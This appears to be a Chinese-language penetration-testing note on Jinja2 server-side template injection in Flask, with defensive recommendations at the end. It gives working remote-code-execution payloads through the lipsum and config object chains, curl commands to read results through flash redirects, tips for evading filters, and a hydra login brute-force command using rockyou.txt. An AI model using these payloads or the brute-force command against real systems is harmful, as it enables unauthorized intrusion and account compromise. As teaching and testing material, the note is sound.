Jinja2 SSTI 探测与 RCE
SSTI(Server-Side Template Injection)是指用户输入被当作模板语法交给模板引擎解析。Jinja2 的 {{...}} 表达式会在服务端求值,一旦可控输入进入模板渲染,攻击者就能沿 Python 对象链走到 os 模块执行系统命令。
探测:确认表达式被执行
在可疑参数中注入算术表达式:
{{7*7}}
页面回显 49 即确认 SSTI 存在;回显原文 {{7*7}} 则说明只是普通字符串输出。可以再配合 {{7*'7'}}(Jinja2 返回 7777777)区分模板引擎类型。
根因区分:哪种渲染方式会执行
| 代码写法 | 是否执行注入 | 说明 |
|---|---|---|
render_template_string(用户输入) | 会 | 输入整体作为模板源码解析 |
render_template("file.html", data=输入) | 不会 | 输入只作为变量值,模板来自固定文件 |
WAF/过滤分支后仍调用 render_template_string() | 会 | 过滤只拦截部分内容,剩余内容仍被解析 |
审计或黑盒判断时,重点是找到“输入最终进入 render_template_string()”的路径。一个常见设计缺陷是:应用对输入做了黑名单/过滤,命中时返回 403,但过滤分支本身仍把(处理过的)输入交给 render_template_string() 渲染——此时 403 错误页也可以作为执行通道,表达式照样求值。
方法 A:lipsum 全局链 RCE
{{lipsum.__globals__.os.popen('id').read()}}
lipsum 是 Jinja2 内置全局对象,通过 __globals__ 可以取到模板环境所在模块的全局命名空间,进而引用 os 模块。
方法 B:config 链变体
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
config 是 Flask 暴露给模板的配置对象,沿 __class__.__init__.__globals__ 同样能到达 os。两个 Payload 效果相同,可互为备用:当其中一个关键字(如 lipsum、config)被过滤时换另一个。
注意点:
- 命令输出用
.read()取回,先用id这类短命令验证。 - 引号、空格被过滤时,考虑对命令本身做编码变形,而不是硬编码整条链。
Flash 回显场景
Flask 的 flash 消息不会出现在当前响应里,而是在 302 之后的下一个页面 上渲染。直接 curl 只能看到跳转响应,需要跟随重定向:
# 跟随重定向读取 flash 渲染结果
curl -sS -L 'http://target/vuln?payload={{7*7}}'
# 或者先拿到 302 的 Location/Cookie,再手动 GET 一次目标页
curl -sS -c jar.txt 'http://target/vuln?payload=...'
curl -sS -b jar.txt 'http://target/next-page'
回显看不到输出时,先确认是不是这一类“二次请求才渲染”的场景,再下结论说注入失败。
SSTI Payload 会在服务端执行任意命令,只能在授权靶场或明确授权的测试中使用。
Werkzeug 并发限制
Flask 开发服务器(Werkzeug)抗并发能力差。对这类目标做爆破、扫描时必须用单线程,否则容易把服务直接打挂,后续测试全部中断:
# hydra 对 Flask 开发服务器爆破:单线程
hydra -t 1 -l admin -P rockyou.txt target http-post-form "/login:user=^USER^&pass=^PASS^:F=failed"
同理,目录枚举也应降低线程与速率,可参考 目录枚举工作流。
复核要点
| 检查点 | 说明 |
|---|---|
| 表达式是否求值 | {{7*7}} 回显 49 才算确认,回显原文不算 |
| 渲染入口 | 确认存在 render_template_string(用户输入) 类路径 |
| 回显通道 | 直接回显、403 页面、flash 二次请求页面都要试 |
| 服务承受力 | Werkzeug 开发服务器用单线程、低速率 |
| 输出确认 | 用 id、whoami 等短命令验证,不要先跑重型命令 |
防御建议
- 不要把用户输入传给
render_template_string();动态内容一律通过变量传入render_template()。 - 确需渲染用户提供模板时,使用 Jinja2 沙箱(
SandboxedEnvironment)并限制可用属性。 - 过滤/黑名单只是缓解:只要输入仍进入模板解析,绕过只是时间问题,不能作为根治手段。
- WAF 拦截
{{、lipsum等特征无法根治问题,应修复代码层面的渲染入口。 - 生产环境避免使用 Flask 开发服务器直接对外服务,同时为登录等接口设置限速。